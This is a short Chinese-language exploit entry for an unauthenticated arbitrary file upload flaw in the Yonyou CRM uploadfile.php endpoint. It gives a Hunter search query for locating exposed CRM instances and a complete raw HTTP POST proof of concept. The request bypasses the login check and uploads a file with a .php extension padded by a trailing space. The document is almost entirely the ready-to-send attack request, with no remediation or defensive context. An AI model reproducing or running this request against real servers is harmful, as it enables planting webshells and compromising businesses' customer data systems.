用友CRM系统uploadfile.php接口存在任意文件上传 hunter app.name="用友 CRM" poc POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Connection: close Content-Length: 358 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: multipart/form-data; boundary=---------------------------269520967239406871642430066855 -----------------------------269520967239406871642430066855 Content-Disposition: form-data; name="file"; filename="%s.php " Content-Type: application/octet-stream test123 -----------------------------269520967239406871642430066855 Content-Disposition: form-data; name="upload" upload -----------------------------269520967239406871642430066855--